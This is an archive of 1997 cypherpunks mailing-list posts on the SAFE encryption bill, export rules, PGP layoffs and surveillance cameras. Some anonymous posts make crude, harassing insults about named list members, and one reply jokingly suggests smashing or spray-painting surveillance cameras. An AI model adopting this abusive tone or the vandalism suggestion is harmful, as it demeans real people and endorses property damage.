In-Reply-To: <Pine.BSI.3.95.970501171026.6591B-100000@citrine.cyberstation.net>
Message-ID: <199705012318.SAA12960@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.BSI.3.95.970501171026.6591B-100000@citrine.cyberstation.net>, on
05/01/97 at 04:11 PM,
   Gordon <lrdon@cyberstation.net> said:


>Oh geez...

>Have you heard about NEW ISRAEL yet? It is a 510 page book
>that addresses one of the primordial obstacles to human life
>and happiness on our planet Earth, the accursed Middle
>Eastern conundrum between the Jews and the Palestinians-
>Arabs-Islamics.  The predicate of NEW  ISRAEL calls for the
>creation of a coexistent, with Israel, New Israel in the
>southern two thirds of the Baja Peninsula, south of
>California, in North America, with immense benefits
>for all of those effected. Faced with an impossible dilemma,
>another choice must be made available. The book explains that new option
>and all the history, difficulties, and
>transgressions, that makes the creation of New Israel
>absolutely necessary.  For more information, including an
>18 page detailed outline of NEW ISRAEL, and the full 41 page
>Preface to NEW ISRAEL - which provides rich details about the reasoning
>and rationale foundation of NEW ISRAEL, visit the NEW ISRAEL website at :

>               http://www.seymourtex.com/newisrael/ni.htm


Yes we have all seen this *CRAP* already Gorden but *THANK YOU* for
reposting this. Say hi to Don Wood for me. :-/

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Bill Gates' worst nightmare!

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RlK3pzhMCmQVEcod7Vh+mhF4yV4CZLtxO4lcBl1fQenaZ/8znoIxH9Hh5GqfJ5pU
CCrqn9DzAyI=
=AN93
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Fri, 2 May 1997 06:59:14 +0800
To: cypherpunks@toad.com
Subject: EVENT: FCC Universal Service Hearing to be cybercast online!
Message-ID: <199705012229.SAA08529@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls

Update No.6              http:/www.democracy.net/              May 1 1997

_________________________________________________________________________
Table of Contents

 - Sit in on live FCC Universal Service hearing: May 7, 9:30am Eastern
 - Live Town Hall Meeting with FCC Chairman Reed Hundt: May 13, 7pm Eastern
 - In our archive
 - About democracy.net / Subscription Information

___________________________________________________________________________
SIT IN ON LIVE FCC UNIVERSAL SERVICE HEARING: WEDNESDAY MAY 7, 9:30AM ET

The future of Universal Service in the nation's telecommunications network
is one of the key elements of our nation's communications infrastructure.
At issue - how to ensure that citizens who live in rural and inner city
areas have access to advanced telecommunications services, and how to pay
for it.

The 1996 Telecommunications Reform Act directed the FCC to answer these
questions.  After nearly a year of investigation, hearings, and public
comment, the FCC will announce its rules on Wednesday May 7th.

You can join the proceeding live.

Be present, ask questions, and get answers from FCC staff after the
hearing. (FCC staff are not allowed to comment on a matter before the
Commission before the commissioners have made their ruling.)

Best of all, FCC Chairman Reed Hundt will join democracy.net on Tuesday May
13 for an online town hall meeting.  Hundt will discuss the Universal
Service proceeding and respond to questions from Internet users.

         * Universal Service Hearing - How To Participate *

 DATE:      Wednesday, May 7, 1997
 TIME:      9:30 am Eastern / 6:30 am Pacific  (Event will last +/- 3 hours)
 LOCATION:  http://www.democracy.net

In advance of the hearing, please visit http://www.democracy.net for
background information on the Universal Service issue, including links to
various sides of the debate.  You can also submit questions in advance.

_____________________________________________________________________________
LIVE TOWN HALL MEETING WITH FCC CHAIRMAN REED HUNDT: TUESDAY MAY 13, 7PM ET

During the May 7th Universal Service Proceeding, Internet users can submit
their questions and comments via democracy.net.  On Tuesday May 13, FCC
Chairman Reed Hundt will join democracy.net for a live Virtual Town Hall
meeting to discuss the Universal Service proceeding, respond to Internet
users questions, and discuss other Internet-related issues before the FCC.

This is a great opportunity for Internet users to talk with one of the key
telecommunications policy makers.

       * Online Town Hall Meeting with FCC Commissioner Reed Hundt *
                         * How To Participate *

 DATE:      Tuesday, May 13, 1997
 TIME:      7:00 pm Eastern / 4:00 pm Pacific
 LOCATION:  http://www.democracy.net

Visit http://www.democracy.net/ in advance of the event to submit questions.

Additional information can be found at the FCC home page: http://www.fcc.gov

_______________________________________________________________________________
IN OUR ARCHIVE

* ONLINE TOWN HALL MEETING WITH REP. RICK WHITE NOW AVAILABLE IN OUR ARCHIVE!

  "I don't want to minimize the National Security concerns -- these concerns
   are real - but I think we've reached the point where the National Security
   community is going to have to solve these problems in a new world.  You
   can't delay the arrival of the new world forever."

     -Rep. Rick White on encryption at 4/10 democracy.net town hall meeting

 You can listen to the entire transcript of the online town hall meeting, or
 selected excerpts, at http://www.democracy.net/archive/04101997/

* ONLINE TOWN HALL MEETING WITH REP. ANNA ESHOO NOW AVAILABLE IN OUR ARCHIVE!

  "I don't think Congress should rush into making decisions about the
   Internet.  There are still far too many Members that are not users
   themselves, and therefore do not understand the medium."

     -Rep. Anna Eshoo on Congress and the net at 4/16 democracy.net online
      town hall meeting

 You can listen to the entire transcript of the online town hall meeting, or
 selected excerpts, at http://www.democracy.net/archive/04161997/

_______________________________________________________________________________
ABOUT DEMOCRACY.NET / SUBSCRIPTION INFORMATION

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive
(http://www.webactive.com), Public Access Networks (http://www.panix.com),
the Democracy Network (http://www.democracynet.org), and DIGEX Internet
(http://www.digex.net).  More information about the project and its
sponsors can be found at http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/ or send mail to

                     majordomo@democracy.net

         with "subscribe events" in the body of the message.

To stop receiving announcements on the democracy.net "events" mailing list,
please send mail to majordomo@democracy.net with the phrase
"unsubscribe events" in the message body.

_____________________________________________________________________________
End update no.6                                                    05/01/1997
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 2 May 1997 02:14:57 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Privacy news: Oakland Cameras, Levi employee files, FileGate
In-Reply-To: <3.0.1.32.19970430183502.006417e8@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.91.970501182336.502A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Bay Alarm said that some British cities have dealt with privacy fears by
> setting up monitoring centers away from city and police offices,
> where tapes are kept in case a crime occurs -- crime victims can call up
> the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
> The camera systems are also capable of taking pictures in the dark.

Not just cities, quite small towns and residential areas have now taken 
to using citizen-units tax money installing systems to spy on the very 
same people. I have now taken to not visiting a town near me (Hastings) 
because of the CCTV systems in place. Not content with spying on citizens 
going about their business in towns a number of state funded colleges and 
universities are now installing CCTV systems. Presumably audio "bugs" 
will also be in order to ensure the student-units do not say anything 
unseemly or hinting at some form of intellectual heresy.

Also, a number of car alarm manufacturers are now producing systems to 
track cars using GPS so if the car is stolen the police can track its 
movements. I can quite easily envisage a situation in a few years time 
when it is mandated that all new cars produced must be fitted with such 
systems so that the government can track the movement of citizens.

One cannot now go out of ones own house without being monitored, and for 
those of us who are known heretics maybe even that is not true. 


Paul "Rapidly becoming a hermit in the name of privacy" Bradley






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Fri, 2 May 1997 07:04:46 +0800
To: Super-User <root@nwdtc.com>
Subject: Re: Layoffs at PGP
In-Reply-To: <3368FF82.4EDB@teleport.com>
Message-ID: <33691F91.72DC@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


If any of the person's laid off by PGP are looking for job's in the New
York Metro Area, let me know, I know of some opportunities at a security
related company based out of NJ. Also does anyone how many were laid
off?

steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 2 May 1997 10:19:32 +0800
To: cypherpunks@cyberpass.net
Subject: EAR questions.
Message-ID: <9705011902.ZM27479@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


[ Didn't get much response when I posted this to cryptography@c2.net.
Hope there will be more response on cypherpunks. ]

	I couldn't find a solid answer to the following questions,
after reading relevent sections of the EAR, and talking to some
people. I am looking for considered opinions, not legal advice.

1) Does a software such as the DESCHALL client or Peter Trei's DESKR
program, in object code form, need a license to be exported? Keep
in mind that even thought there are some cryptographic functions
inside the programs, they cannot be directly used to encrypt data,
nor can they be easily modified (i.e. without reverse engineering)
to make data encryption possible.

2) Does the "printed matter exception" apply only to publications?
Is it legal, under the EAR, for somebody in the US to print out
the source code for an encryption program on paper and send it to
a private party abroad (not a country in the enemies list). Does
it make any difference whether this is done for monetory compensation?
Does it make any difference whether the sender intends to keep the
source code secret between himself and the recipient?

Btw, it looks like the language about scannable encryption source code,
that was in the draft regulations, have been removed.

One more, general question.

3) Is it correct to say that, as long as you are not selling it to
a military organization and the software is intended for civilian
use, the export of encryption software is now controlled exclusively
by the EAR, and not by the ITAR? I ask this because many of the
people who answered "only publications" to question 2) above,
could only quote the ITAR in support of their position.

	Thanks.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Fri, 2 May 1997 01:50:00 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: J/Crypto (fwd)
In-Reply-To: <Pine.SUN.3.91.970501120824.18504A-100000@beast.brainlink.com>
Message-ID: <199705011730.TAA15740@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



> (original at http://206.20.162.246    JavaZine )
> 
> 
> J/CRYPTO - Cryptography class library
> 
> Baltimore Technologies shipped the first copies of its Java
> cryptography product J/CRYPTO at the Java Users Group meeting at
> Communications '97. J/CRYPTO is the world's first cryptography class
> library written entirely in Java and implements RSA, DES, Triple-DES,
> SHA1, MD5, Diffie-Hellman and other common cryptographic functions.

<snip>


I wonder if the authors are unaware of www.systemics.com, or 
whether they discount Cryptics v2 because it is beta, or something
else?


Zooko Journeyman

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 2 May 1997 01:58:47 +0800
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] ZKP
Message-ID: <199705011740.TAA26115@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 1 May 1997 10:00:24 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: Anonymous <nobody@replay.com>
Cc: cypherpunks@toad.com
Subject: Re: [CRYPTO] ZKP
Sender: owner-cypherpunks@toad.com

I think Vulis needs each of us to send ten copies of this back to him.   
 
On Thu, 1 May 1997, Anonymous wrote:

> Tim May is widely recognized on the net, because of his 
> frequent vitriolic postings, as someone/thing ready to cut 
> off his own penis to spite Graham-John Bullers, although his 
> friends recognize him better from the rear.
> 
>    __
>   /_/\__
>   \_\/\_\ Tim May
>   /\_\/_/
>   \/_/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 2 May 1997 10:54:02 +0800
To: Alan Davidson <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
In-Reply-To: <v03020900af8e47bb1440@[207.226.3.11]>
Message-ID: <Pine.3.89.9705011820.A27450-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 1 May 1997, Alan Davidson wrote:

> Contrary to reports, the SAFE bill does not say: "Use a cipher, go to
> prison."  It does say: "Use cryptography TO COMMIT A CRIME, go to prison":
> 
>    2805. Unlawful use of encryption in furtherance of a criminal act
> 
>    	"Any person who willfully uses encryption in furtherance
> 	of the commission of a criminal offense for which the
> 	person may be prosecuted in a court of competent jurisdiction...
> 	[may be imprisoned or fined]"

What the bill punishes with five years in prison is the use of encryption
in FURTHERANCE of a crime.

I will demonstrate at the next SF Bay Area Cypherpunks meeting on Saturday
May 10, 1997 the use of encryption in furtherance of a crime using only
three mouse clicks and three keystrokes. No custom scripts, macros, etc.
involved. In fact, I will gladly perform the demonstration on a computer
provided by the audience.

That's right folks! Three mouse clicks and three keystrokes will buy you 
*five* years in the federal penitentiary should SAFE become law as 
currently written.

[Since this is a controlled demo, no actual crimes will be committed. Do 
not try this at home! You will be breaking the law.]
--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 2 May 1997 12:25:42 +0800
To: geeman <NOSPAM-geeman@best.com>
Subject: Re: Privacy news: Oakland Cameras, Levi employee files,  FileGate
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <3.0.1.32.19970501203644.00652d30@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:46 AM 5/1/97 -0700, you wrote:
>This is fine for red-light-running.  I'm just worried about the day when
>the cameras have an effect on people's behavior with respect to 
>what they say, whom they associate with, 
>the clothes they wear, the thoughts they think...
>
>How do you hack a camera?

The traditional solution, which happened to a number of early
photo-radar cameras, involves a ski-mask and a baseball bat;
more subtle approaches rely on spray-paint, which does less
damage to the expensive equipment, but spray paint is a Controlled Substance
in many cities....

Other approaches, for the video-surveillance types of cameras,
are to always use appropriate gestures when you're near the things.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 2 May 1997 09:25:34 +0800
To: "Michael Sims" <jellicle@inch.com>
Subject: Re: SAFE Bill discussion
In-Reply-To: <v03020906af8e6fb1335e@[207.226.3.4]>
Message-ID: <v0300782faf8eae00618f@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


The Administration hates this bill, because it threatens their ability to
roll out Key Recovery.  They've said as much in the letter Declan forwarded:

   "The bill could be read as prohibiting the United States government
    from using appropriate incentives to support a key management
    infrastructure and KEY RECOVERY." [emphasis added]

Do you think that if this bill helped the Administration, that they'd be
out there urging the subcommittee chairman to stop it?  I think not.

I'm also puzzled by the fact that CDT is being criticized pretty much
solely, even though the entire Internet Privacy Coalition, and several
other groups all wrote a letter of support of the bill with only a
criticism of one provision.  However the overall statement was of support.
(see http://www.privacy.org/ipc/safe_letter.html)

As far as I can tell, everyone criticizing the bill either thinks that:

	a) CDT actually runs all these groups behind the scenes, or
	b) pretty much all of the Internet advocates believe that this bill
           is needed and are doing the best they can with what Congress has
           written.

You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
Reform, the Association for Computing Machinery, Computer Professionals for
Social Responsiblity, Eagle Forum, the National Association for Criminal
Defense Lawyers, and PGP Inc all signed this letter.

Can you consider, perhaps, for a second, that critics of SAFE are being
unreasonable?  I would think so, as critics of SAFE include the Clinton
Administration.  Is that the kind of company that cypherpunks keep?

Here's a great excerpt from the Internet Privacy Coalition letter:

  The pending bill provides a positive framework for the reforms that are
  long overdue in this critical area. It makes clear that the sale or use
of
  encryption, a vital technique to promote network security and individual
  privacy, should not be restricted in the United States. This is the view
  widely shared by users of the Internet and the computer and communications
  industry. It was also a central recommendation of the
  report of the National Research Council last year.

Looks like widespread support from people who study this issue for living.
I'm glad to be counted among them.

-S

-Shabbir






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 12:33:26 +0800
To: Lucky Green <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
In-Reply-To: <v03020900af8e47bb1440@[207.226.3.11]>
Message-ID: <v03007808af8f26ea57b3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:42 PM -0800 5/1/97, Lucky Green wrote:

>What the bill punishes with five years in prison is the use of encryption
>in FURTHERANCE of a crime.
>
>I will demonstrate at the next SF Bay Area Cypherpunks meeting on Saturday
>May 10, 1997 the use of encryption in furtherance of a crime using only
>three mouse clicks and three keystrokes. No custom scripts, macros, etc.
>involved. In fact, I will gladly perform the demonstration on a computer
>provided by the audience.
>
>That's right folks! Three mouse clicks and three keystrokes will buy you
>*five* years in the federal penitentiary should SAFE become law as
>currently written.
>
>[Since this is a controlled demo, no actual crimes will be committed. Do
>not try this at home! You will be breaking the law.]

I'm looking forward to this demo! Hell, maybe I'll volunteer to actually
commit whatever crime is being furthered!

The language of SAFE would directly impinge on use of anonymous, chained
remailers for many uses. Some use remailers to harass others, a crime in
many jurisdictions. Some use it to post or transfer so-called "child porn,"
a crime in some jurisdictions.

(But, I assure you, our local community--implicated in the Salinas
so-called "porn ring," use PGP to protect themselves from finks. Under
SAFE, these neighbors of mine could be hit with heavier penalties for using
crypto in furtherance of their crimes than the supposed crimes involve!)

Let's call a spade a spade...cryptography, anonymity, and untraceable
digital cash will be used often for criminal purposes. So what else is knew?

By the way, speaking of digital cash, think about the obvious implications
of the SAFE provisions for untraceable digital cash. Talk about a chilling
effect.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 12:50:41 +0800
To: cypherpunks@toad.com
Subject: But thank God we live in Amerika...
Message-ID: <199705020430.VAA16639@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


An Average Citizen wrote:
>  Just guess what the fine is for not having 2" high 
> numbers on my mailbox.  
>  $1000/20days in jail.  Must be a fucking felony. 

  Gee, and when Tim May said he was a felon, then I thought maybe
he was murdering children, or something.
  Actually, maybe Tim *is* murdering children, but the authorities
are leaving him alone because the numbers on his mailbox (written
in the blood of children) are 2" high, leading them to believe
that he is a model citizen.

  If Orwell had put a reference to a law such as this, with severe
penalities for illegal-sized mailbox numbers in his work, "1984",
he would have been laughed at as an unrealistic lunatic.
  (Not that he wasn't, anyway.)

  Around the world, conspiracy theorists and psycho-thriller
writers are starving to death because they can't compete with
reality and the nightly news.
  Me? I used to be an activist, now I'm just another guy/gal
taking violin lessons from Nero. (We meet Tuesdays at Motel 6.
Come on by, we'll leave a light-bulb joke on for you.)

FiddleMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 12:54:52 +0800
To: cypherpunks@toad.com
Subject: SAFE Bill / Fuck You (an inch at a time)
Message-ID: <199705020430.VAA16643@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Jonah Seiger wrote:

> However, despite our concerns about the criminal provisions, we believe
> strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
> and Leahy, are vitally important and should be passed.

  When is the last time you saw a Volvo ad that said:
"It's the safest car on the road, unless you corner too fast."
  Or a Chrysler ad that said:
"Our air bags will provide you with complete protection, although
they may kill your children."

  When Ford had a problem with Pinto gas tanks exploding on 
impact, and Richard Pryor set himself on fire, freebasing, I
started selling T-shirts in Austin, Texas, saying:
"I'd rather freebase than drive a Pinto."
  Ford Motor Company sent TWO legal eagles down from Ford
Country, to exhort me to cease and desist.

  Car companies have better sense than to broach these subjects,
even when they are truthful, because they know that the citizens
won't put up with it. If they have a problem, they deny and avoid
it--totally. They know that the citizens will *vote* with their
wallets.

  Government, on the other hand, has so totally snowed the citizens
that they no longer even bother, in many cases, with the pretension
of providing us with a product of superb quality.
  Instead, we get:
"Our product/legislation has a few flaws, but hell, it's better than
nothing at all."
or,
"I'm supporting this legislation because it will get me elected in
my district. So what if it fucks a few dirt-farmers halfway across
the country?"
or,
"We already have dozens of laws covering this issue, but its a 
current hot-topic, so we'll pass another one, and add a few
dozen items for special-interests groups which fuck a variety
of citizens in the ass, but which we can still justify as being
'for the greater good.'"

  I mean, let's get real, here.
  We put up with crap from our government that we wouldn't accept
from someone trying to sell us a mouthwash. The reason that we're
not all drinking the "New Coke" is that D.C. has siphoned off all
of the spin doctors/brainwashers from the corporate advertising
industry.
  I'll lay you even money that, given sufficient funding, I could
be elected as the next President of the U.S. using slogans like:
"I promise to only fuck you a little bit at a time."
and,
"As your President, I will move us more slowly towards a total 
Police State."

  Why do we put up with blatantly "flawed" legislation, when we
wouldn't put up with the same thing in a consumer product?
  It is because corporations fear the consumers, to a certain
extent, but government has no fear of the citizens, for the most
part. The government used to fear the Press, at least marginally,
but they now have them in their back pocket, so the Press no 
longer has the power to serve as an element of protection/information
for the citizenry.

  So the government can pass legislation which gives us rights
which we already have, without it, and cut off another inch or
two of our freedom/privacy at the same time.
  And, in the process, we will hear, from both the government and
the Press, about the virtues of "compromise."
  THE ONLY THING BEING "COMPROMISED" IS THE CITIZEN, THE BILL OF
RIGHTS, FREEDOM & PRIVACY.
  An inch at a time. Slowly but inexorably. It's called "compromise."
It's called "reality." It's called "you scratch my back and I'll 
scratch yours."

  Of course, when its done all at once, then it's called dictatorship,
and fascism.
  That's why we don't do it "all at once" here. Because this is a
"free country." So we just do it an inch at a time. And then another
inch. And then another...

Personal aside, to Mr. T.C. May:
  "We'll drop the felony charges of 'using encryption in the 
commission of a crime' if you will plead guilty to the 'jaywalking'
charges."
  (You never should have encrypted that letter to your mom, Tim, 
and put the floppy in your pocket. Sure, you can fight the jaywalking
charges, if you're willing to risk 20 years in prison on the felony
encryption charges.)

TruthFelon






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 12:53:15 +0800
To: cypherpunks@toad.com
Subject: Paul Bradley is too paranoid.
Message-ID: <199705020432.VAA16658@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:

> One cannot now go out of ones own house without being monitored, and for
> those of us who are known heretics maybe even that is not true.
> 
> Paul "Rapidly becoming a hermit in the name of privacy" Bradley

Paul,
  Quit picking at your face, and clean up that mess in the kitchen.

  Not that I'm monitoring you...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 2 May 1997 10:05:41 +0800
To: cypherpunks@toad.com
Subject: INFO: SAFE pro-encryption bill passes first Congressional hurdle (5/1/1997)
Message-ID: <199705020142.VAA18716@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|


             PRO-ENCRYPTION BILL CLEARS FIRST CONGRESSIONAL HURDLE.
                     FACES TOUGHER TEST IN COMING WEEKS.
                  SAFE BILL IS ASSAILED BY CLINTON WHITE HOUSE
           BECAUSE IT PROHIBITS EXPANDED EAVESDROPPING CAPABILITIES

     Date: May 1, 1997                              Expires June 1, 1997

         URL:http://www.crypto.com/            crypto-news@panix.com
           Redistribution of crypto-news is allowed in its entirety.
-----------------------------------------------------------------------------
Table of Contents
        What Just Happened
        What YOU CAN DO NOW!
        How to start or stop receiving crypto-news
        Press contacts

-----------------------------------------------------------------------------
WHAT JUST HAPPENED

On Wednesday April 30, 1997, Congress took a historic first step towards
real reform of US encryption policy and promoting the availability of
strong privacy protections for Internet users.

The House Subcommittee on Courts and Intellectual property, by a unanimous
vote, approved the Security and Freedom through Encryption (SAFE) Act (HR
695).  The bill will be considered by the full House Judiciary Committee in
mid-May where it is expected to face tough opposition,

The SAFE bill, sponsored by Reps. Bob Goodlatee (R-VA) and Anna Eshoo
(D-CA) currently has 78 congressional co-sponsors, including a majority of
the House Judiciary Committee.  The bill seeks to protect privacy and
promote electronic commerce by liberalizing the export of privacy-enhancing
encryption technology and prohibiting the the government from imposing
mandatory key-escrow or key-recovery systems.

The bill also contains a controversial provision which establishes new
criminal penalties for the use of encryption in the furtherance of a
felony.  Privacy groups have expressed concern about this provision.  During
Wednesday's subcommittee vote, Rep. Zoe Lofgren (D-CA) pledged to work with
privacy groups and the bill's sponsors to address these concerns.

The Clinton Administration is unhappy with the bill, claiming it will
thwart law enforcement and undermine the administration's efforts to impose
a global "key-recovery" infrastructure. In an April 30 letter to the Courts
and Intellectual Property Subcommittee chair Rep. Howard Coble (R-NC), the
Department of Justice said:

   "The bill could be read as prohibiting the United States government
    from using appropriate incentives to support a key management
    infrastructure and KEY RECOVERY." [emphasis added]

The Administration's "Key Recovery" program creates a backdoor in encryption
that would allow third parties to eavesdrop on individual's private
conversations without their permission or knowledge.

Because of the Administration's opposition, the SAFE bill is expected to
face a much tougher fight before the full House Judiciary Committee later
this month.

----------------------------------------------------------------------------
WHAT YOU CAN DO NOW

The SAFE bill (HR695) is approaching the full committee for markup.  Your
help is needed in calling members of the House Judiciary committee to
urge them to pass legislation.

This is a critical issue to the future of the Internet as a secure and
trusted means of education, commerce, and political discourse, but it will
not happen without your help.

Please take a moment to Adopt Your Legislator and let them know that you
support efforts to refrom US encryption policy in a way that protects
privacy, promotes electronic commerce, and recognizes the realities of the
global Internet.

Visit http://www.crypto.com/adopt/

For more information about the bill, go to http://www.crypto.com/safe_bill/

-----------------------------------------------------------------------------
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo@panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo@panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir@vtw.org will be ignored.

-----------------------------------------------------------------------------
PRESS CONTACT INFORMATION

Press inquiries on Crypto-News should be directed to
	Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir@vtw.org
	Jonah Seiger (CDT) at +1.202.637.9800 or jseiger@cdt.org

-----------------------------------------------------------------------------
End crypto-news
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wesley Felter <wesf@mail.utexas.edu>
Date: Fri, 2 May 1997 11:13:14 +0800
To: "Cypherpunks" <cypherpunks@cyberpass.net>
Subject: Re: Layoffs at PGP
Message-ID: <199705020303.XAA10083@relay1.smtp.psi.net>
MIME-Version: 1.0
Content-Type: text/plain


On 5/1/97 6:41 PM, Martin Janzen said:

>Well, PGP spokesman Mike Nelson wins the award for the Freudian slip of
>the day:
>
>    "Internet Fast-Forward is not as closely related to the tools we
>    develop for individuals for privacy," he said. And the fact that
>    Fast-Forward filters ads which are an "inimical part of some of the
>                                           ^^^^^^^^
>    emerging Web commerce models ... we don't want to hinder this
>    development."

Unless you take it to mean that banner ads are important for "emerging 
Web commerce models" which is what PGP doesn't want to hinder the 
development of, in which case I'd say that IFF is inimical indeed. Both 
ways, they lose.

-------------------------------------------------------------------------
| Wesley Felter                 | Have you ever had your phone tapped   |
|                               | by the government?     YOU WILL.      |
| wesf@mail.utexas.edu          | And the company to bring it to you:   |
| http://adhoc.com.inter.net/   |                  AT&T                 |
-------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 2 May 1997 13:29:58 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Bombs Away, from The Netly News Network
